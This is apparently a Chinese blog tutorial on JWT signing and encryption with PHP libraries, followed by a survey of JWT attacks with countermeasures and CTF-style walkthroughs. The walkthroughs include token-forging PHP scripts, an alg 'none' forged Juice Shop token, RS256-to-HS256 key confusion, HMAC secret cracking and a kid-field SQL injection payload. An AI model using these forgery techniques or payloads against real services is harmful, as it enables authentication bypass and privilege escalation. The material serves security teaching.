0x00 环境准备
php jwt库的评测
在jwt.io上有些php jwt的库,在此说一下使用下来的感觉。只取了评分前三的库
firebase/php-jwt Star 3786
支持PHP5/7
操作非常简单,但是不具备很多功能,不是很推荐
lcobucci/jwt Star Star 2729
支持PHP5/7
不具备JWE的方法,操作简单,不过php7跑有点坑,下面会说
不具备多重JWS,JWE方法以及其对应序列化方法
spomky-labs/jose Star 351
仅支持 PHP 7
功能齐全,具有多重JWE,JWS,以及其对应序列化方法。以上两个都不具备
操作比较复杂
composer 的安装
composer 是Php的包管理工具。安装起来还是比较简单的。有了composer,php就可以像python 一样import xxx了。你可以想象当C语言能够import 第三方库的时候是一件多方便的事情。composer 它做到了!
相关操作可以看composer-中文网
当你装好composer后,打开phpstorm,新建一个composer项目。具体配置如下
版本选择默认就行,如果没有装composer的话用利用composer.phar完成局部安装就可以
之后系统会报出一堆错误 千万不要慌
首先先 sudo apt-get install php7.x-dev
,然后缺什么就 apt-get install php-...
就行,如果不行,就拿着报错信息去google。
另外有一个包很调皮,我也搞了很久才把它搞定,叫做php-mcrypt 具体解决方案如下网址install-php7.2-mcrypt.sh
按照其方案一步步来就行。
另外记得给composer换源,可以加快下载速度,详细请参考 composer 中文网
0x01 利用php Lcobucci\JWT 库完成 jwt 签名
利用HS256生成与验证JWT
生成过程
require "vendor/autoload.php";
use Lcobucci\JWT\Builder;
use Lcobucci\JWT\Signer\Hmac\Sha256;
$signer = new Sha256();
$token = (new Builder())
->setIssuer('http://shaobaobaoer.cn')// (iss claim)
->setAudience('http://shaobaobaoer.cn/webtest/jwt_auth/')// (aud claim)
->setId('4f1g23a12aa', true)// (jti claim)
->setIssuedAt(time())//(iat claim)
->setNotBefore(time() + 60)// (nbf claim)
->setExpiration(time() + 3600)// (exp claim)
->set('uid', 1)// 自定义声明 (private claim)
->set('data', ['uname'=>'shaobao','uEmail'=>'shaobaobaoer@126.com','uID'=>'0xA0','uGroup'=>'guest']) // 自定义声明 (private claim)
->sign($signer,'shaobaobaoer.cn') // 利用HS256完成签名
->getToken(); // Retrieves the generated token
在对Builder()进行getToken()操作后,$token
会变成token类并且不能再赋予声明。
echo $token; //打印出token ,形式为 xxx.yyy.zzz
print_r($token->getHeaders()); // Retrieves the token headers
print_r($token->getClaims()); // Retrieves the token claims
echo $token->getHeader('jti'); // will print "4f1g23a12aa"
echo $token->getClaim('iss'); // will print "http://shaobaobaoer.cn"
如果打印的东西不存在的话会报错,需要 异常处理 来完成。对此,可以利用 Validation 来完成
use Lcobucci\JWT\ValidationData;
$data = new ValidationData();
$data->setId('4f1g23a12aa');
$data->setCurrentTime(time()+70); // 我们设置了jwt需要在60S后才能使用,所以设定现在的时间为time()+70
var_dump($token->validate($data));
验证签名过程
use Lcobucci\JWT\Parser;
// 利用Parser 可以将token以 xxx.yyy.zzz的形式导入,让字符串称为 token类。
$token = (new Parser())->parse((string) $token);
var_dump($token->verify($signer,'shaobaobaoer.cn'));//bool(true)
var_dump($token->verify($signer,'shaobaoba0er.cn'));//bool(false)
利用RSA256生成与验证JWT
生成密钥对
# 先用OPENSSL 生成秘钥对
openssl genrsa -out pri.key 1024
openssl rsa -in pri.key -pubout -out pub.key
# ECDSA 的秘钥对如下
openssl ecparam -name prime256v1 -genkey -noout -out ecdsa_private_key.pem
openssl ec -in ecdsa_private_key.pem -pubout -out ecdsa_public_key.pem
生成与验证JWT
require ("./vendor/autoload.php");
use Lcobucci\JWT\Builder;
use Lcobucci\JWT\Signer\Keychain;
use Lcobucci\JWT\Signer\Rsa\Sha256; // 可能这有点奇怪不过就是这么命名的
$signer = new Sha256();
$keychain = new Keychain();
$token = (new Builder())->setIssuer('http://shaobaobaoer.cn') // (iss claim)
->setAudience('http://shaobaobaoer.cn/webtest/jwt_test/') // (aud claim)
->setId('4f1g23a12aa', true) // (jti claim)
->setIssuedAt(time()) // (iat claim)
->setNotBefore(time() + 60) // (nbf claim)
->setExpiration(time() + 3600) // (nbf claim)
->set('uid', 1) // 自定义声明 (private claim)
->sign($signer, $keychain->getPrivateKey('file://./key_box/pri.key'))// 利用私钥签名
->getToken(); // 生成token
echo $token.PHP_EOL;
var_dump($token->verify($signer, $keychain->getPublicKey('file://./key_box/pub.key'))); // 利用公钥验证签名
# 别忘了 签名和加密是两码事儿
0x02 利用php Spomky-Labs/jose 库完成 jwt 加密
jose 库概述
这个库的功能非常齐全,实际上作者也声明了,他是参照jwt官方的库 node-jose 来写的。很多官方文档中node-jose的操作在这个库中也有类似的表现。主要的三个库如下所示
use Jose\Factory\JWEFactory; JWE 的基类库
use Jose\Factory\JWKFactory; JWK 的基类库
use Jose\Factory\JWSFactory; JWS 的基类库
加密 JWT
按照之前官方文档对于JWE的介绍,应该有公钥加密私钥解密,不过这个库在这点上做的不是很好。需要用私钥加密私钥解密。
use Jose\Factory\JWKFactory;
use Jose\Loader;
use Jose\Factory\JWEFactory;
//The JWK
$key_pri = JWKFactory::createFromKeyFile(
__DIR__.'/private.encrypted.key',
'tests',
[
'kid' => 'My private RSA key',
'use' => 'enc',
'alg' => 'RSA-OAEP-256'
]
);
//The JWE
$message = Array(
"data" => ["uname"=>"shaobaoer","upwd"=>"123456"]
);
$jwe = JWEFactory::createJWEToCompactJSON(
$message,
$key_pri,
[
'alg' => 'RSA-OAEP-256',
'enc' => 'A256CBC-HS512',
'zip' => 'DEF',
]
);
我们这里用的是createJWEToFlattenedJSON的方法,返回的是可读的json字符串
如果想要返回压缩存储的字符串的话,用createJWEToCompactJSON
的方法即可,但是这种方法是不允许字段中出现 unprotected header 的字段的。因为 unprotected header 是以明文方式呈现的。
解密 JWE
$input = $jwe;
$loader = new Loader();
$jwe = $loader->loadAndDecryptUsingKey(
$input,
$key_pri, // 秘钥 按照文档,这里使用
['RSA-OAEP-256'], // 秘钥加密算法 alg
['A256CBC-HS512','A256GCM'], // 内容加密算法 enc
$result
);
print_r($jwe->getPayload());
这里的result是一个接受返回值的参数,由于我们这个是单层的加密,当返回0的时候代表解密成功,返回NULL的时候代表解密失败
当解密成功的时候,利用getPayload()的方法可以返回明文的payload。
0x02 JWT 攻击手段
1. 敏感信息泄露
当服务端的秘钥泄密的时候,JWT的伪造就变得非常简单容易。对此,服务端应该妥善保管好私钥,以免被他人窃取
2. 将加密方式改为'none'
下文实战中的 Juice Shop JWT issue 1 便是这个问题。之前谈及过nonsecure JWT的问题。
签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+'.'+ payload +'.')并将其提交给服务器。
解决对策
不允许出现 none 的方法。
将开启 alg : none 作为一种额外的配置选项
3.将算法RS256修改为HS256(非对称密码算法=>对称密码算法)
HS256使用密钥来签名和验证每个消息。而RS256使用私钥对消息进行签名并使用公钥进行认证。
如果将算法从RS256更改为HS256,则后端代码使用公钥作为密钥,然后使用HS256算法验证签名。由于攻击者有时可以获取公钥,因此攻击者可以将标头中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
此时,后端代码就会使用RSA公钥+HS256算法进行签名验证。从而让验证通过
解决对策
不允许 HS256等对称加密 算法读取秘钥。jwtpy就是限制了这种方法。当读取到 类似于 "--- xxx key ---" 的参数的时候应抛出错误
将秘钥与验证算法相互匹配。
4. HS256(对称加密)密钥破解
如果HS256密钥强度较弱,则可以直接强制使用,通过爆破 HS256的秘钥可以完成该操作。难度比较低。解决对策很简单,使用复杂的秘钥即可
5. 错误的堆叠加密+签名验证假设
错误的堆叠加密
这种攻击发生在单个的或者嵌套的JWE中,我们想象一个JWE如下所示
JWT RAW
header : ...
payload: "admin" : false
"uid" : 123
"umail" : 123@126.com
...
JWE Main
protected / unprotected
recipients:
en_key : key1
en_key : key2
cipher : xxx
在攻击者不修改秘钥的情况下,对于ciphertext进行修改。往往会导致解密的失败。但是,即使是失败,很多JWT的解密也是会有输出的,在没有附加认证数据(ADD)的情况下更是如此。攻击者对于ciphertext的内容进行修改,可能会让其他的数据无法解密,但是只要最后输出的payload中,有“admin":true。 其目的就已经达到了。
解决对策
对于JWE而言,应当解密所有数据,而非从解密的结果中提取单个需要的数据。另外,利用附加认证数据ADD,也是非常好的选择
签名假设验证
这种攻击发生嵌套的JWS中。我们想象一个嵌套的JWS,其包括了两层的部分,其结构如下
JWT Main
JWT Sub1
payload
Signature2
Signature
现在,攻击者通过一定的方式,能够让外层的验证通过的时候,此时,系统还应该检查内层的签名数据,如果不检查,攻击者就可以随意篡改payload的数据,来达到越权的目的。
解决对策
因此对于嵌套JWS而言,应当验证所有层面的签名是否正确,而非验证最外层的签名是否正确就足够。
6. 无效椭圆曲线攻击
椭圆曲线加密是一种非常安全的方式,甚至从某种程度上而言,比RSA更加安全。关于椭圆曲线的算法,在此不展开。
在椭圆曲线加密中,公钥是椭圆曲线上的一个点,而私钥只是一个位于特殊但非常大的范围内的数字。 如果未验证对这些操作的输入,那攻击者就可以进行设计。从而恢复私钥。
而这种攻击已在过去中得到证实。这类攻击被称为无效曲线攻击。这种攻击比较复杂,也设计到很多的数学知识。详细可以参考文档 critical-vulnerability-uncovered-in-json-encryption
解决对策
检查传递给任何公共函数的所有输入是否有效是解决这类攻击的关键点。验证内容包括公钥是所选曲线的有效椭圆曲线点,以及私钥位于有效值范围内。
7. 替换攻击
在这种攻击中,攻击者需要至少获得两种不同的JWT,然后攻击者可以将令牌中的一个或者两个用在其他的地方。
在JWT中,替换共叽有两种方式,我们称他们为相同接收方攻击(跨越式JWT)和不同接收方攻击【原文 same recipient(Cross JWT) and different recipient.】
不同接收方攻击 different recipient
我们可以设想一个业务逻辑如下:
Auth 机构,有着自己的私钥,并且给 App1 和 App2 发放了两个公钥,用于验证签名。
Attacker 利用自己的秘钥登录了 App1
此时 Auth 机构给 Attacker 下发了一个 附带签名的JWT,其payload内容为
{
'uname':'Attacker'
'role' :'admin'
}
此时,如果 Attacker 知道 App1 和 App2 的公钥是同一个Auth 签发的话,他可以利用这个JWT去登录 App2,从而获取Admin权限。
解决方法
在jwt中带上 aud 声明,比如 aud : App1 这样。来限定该jwt只能用于App1
相同接收方攻击/跨越式JWT same recipient/Cross JWT
我们可以设想一个业务逻辑如下:
在同一站点下,有两个应用程序,wordpress和phpmyadmin,他们都利用了相同的秘钥对和算法来验证JWT签名。
站点管理员知道 Different Recipient 的问题,所以给 wordpress 的应用增加了 aud 验证,但是 phpmyadmin 的用户人数较少,没有增加 aud 的验证
Attacker 利用自己的秘钥登录了 wordpress
此时 站点 给 Attacker 下发了一个 附带签名的JWT,其payload内容为
{
'uname':'Attacker'
'role' :'writer'
'aud' :'shaobaobaoer.cn/wordpress'
'iss' :'shaobaobaoer.cn'
}
这个JWT看似非常安全,但这仅仅是对于 wordpress 的应用程序而言,。从而Attacker 可以以 writer 的身份登录 phpmyadmin。
解决方案
为所有子应用程序增加 aud 的验证
8. 其他假想的攻击方式
JWT + SQL 注入
当解密JWT的秘钥很多的时候,往往需要通过kid来确定使用哪个秘钥,而keyid参数通过b64加密来保存,可以被篡改。当keyid要通过数据库API拿取得时候,往往就会联想到sql 注入。我们可以想象一下的攻击情况
$keyID = $token-> getKeyID();
$keyContent = sqlAPI -> fromKeyidGetKeyContent($keyID)
###
class sqlAPI():
function fromKeyidGetKeyContent($keyID){
$result= Query("select key_content from keyTable where key_id = '$keyID'");
return $result['key_content']
}
###
if($token-> verify($JWA,$keyContetn)){
echo $flag;
}
在下列比较简易的代码中,通过让数据库返回值为我们自定义的key_content。就可以达到破解JWT的目的。
通过注入
' union select 'easy' limit 1,1--+
即可让秘钥改成easy。
0x03 实战练习
实战练习1 敏感信息泄露
为了达到修改jwt的目的,我会把data字段改为
"data":{
"hacker":"shaobaobaoer"
}
该题目地址为
http://demo.sjoerdlangkemper.nl/jwtdemo/rs256
在知道github项目的情况下,我们变相知道了公钥私钥的地址,直接访问
http://demo.sjoerdlangkemper.nl/jwtdemo/private.pem
http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
可以拿到公钥私钥的内容,之后,利用我们自己的jwt库进行加密即可
关键代码如下所示
$keychain = new Keychain();
$sign = new Sha256();
$token = "eyJ0eXAiO...";
$token = (new Parser())->parse((string) $token);
$hacktoken = (new Builder())
->setIssuer($token->getClaim('iss'))
->setIssuedAt($token->getClaim('iat'))
->setExpiration($token->getClaim('exp'))
->set("data",["hack"=>"shaobaobaoer"])
->sign($sign,$keychain->getPrivateKey('file://key_box/private.pem'))
->getToken();
echo $hacktoken.PHP_EOL;
var_dump($hacktoken->verify($sign,$keychain->getPublicKey('file://key_box/public.pem')));
可以看到,我们已经更改成功。
实战练习2 Juice Shop JWT issue 1
题目描述
Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.
实战过程
首先,先用万能登录,获取到jwt 如下所示
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAifSwiaWF0IjoxNTM0MDYwNTM5LCJleHAiOjE1MzQwNzg1Mzl9.Jivk7Pil6wukFkShzCCaHNq7qmxegvcyD83FkbglT0uYYP0azTW2rM-FH4R8WYneTu1A5gQmUjB6VdFJh8APz5Qej_AA4RP3Q6nH-9qbytxQ5cebiEuuhRSridDxbXxuS0-oquQ0PkRtpenJ75mLJFzVROeaBWgKFNNcFIrV9hs
放到 jwt.io中去解密。可以看到数据的架构如下所示
之前我们做过实验,当alg选择为 none 的时候,是不用对JWT进行签名的,这样的jwt也被称为 不安全的jwt。
这道题目的思路就是修改 alg。
当后端不限定alg的时候,这种方法就可以被利用。当然jwt.io是不会让你把alg改成none的。你需要自己手动改
对头部稍微操作一下,得到的新token如下
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJqd3RuM2RAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwiY3JlYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIn0sImlhdCI6MTUzNDA2MDUzOSwiZXhwIjoxNTM0MDc4NTM5fQ
将新的jwt发送,可以解决这个题目
实战练习3 加密方式更改
后端的伪代码应该如下所示
# sometimes called "decode"
verify(string token, string verificationKey){
# returns payload if valid token, else throws an error
}
string token = $input
string verificationKey = file_get_content('rsa_pub.key')
后端代码应该会判断jwt的加密方式,其实这种方法是比较局限的。首先对于一个优秀的JWT的库而言,RS256和SH256的认证不会放在一起。另外,HMAC应当禁止公钥作为secret。
例如:在pyjwt中,这种方法是被禁止的。会抛出错误jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
大概写了个小脚本,利用了公钥来签名,如下所示
$secret = file_get_contents("./key_box/public.pem");
//var_dump($secret);
$sign = new Sha256();
$token = "eyJ0eXAiO...";
$token = (new Parser())->parse((string) $token);
$hacktoken = (new Builder())
->setIssuer($token->getClaim('iss'))
->setIssuedAt($token->getClaim('iat'))
->setExpiration($token->getClaim('exp'))
->set("data",["hack"=>"shaobaobaoer"])
->sign($sign,$secret)
->getToken();
echo $hacktoken.PHP_EOL;
var_dump($hacktoken->verify($sign,$secret));
实战练习4 HMAC秘钥爆破
在这道题目中,访问web,可以返回一个jwt的字符串
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM
将它解密,可以发现,算法是HS256,admin为flase
{
"alg": "HS256",
"typ": "JWT"
}
{
"admin": "false"
}
我们的目标很简单,只需要将admin转成true就可以了。而此刻能够做的只有爆破秘钥了
你当然可以写一个小脚本来爆破秘钥。当然,这里推荐一个工具c-jwt cracker
通过小工具,我们能迅速跑出秘钥来,我的VPS大概用了2m跑出了秘钥 54l7y
提交JWT即可得到flag。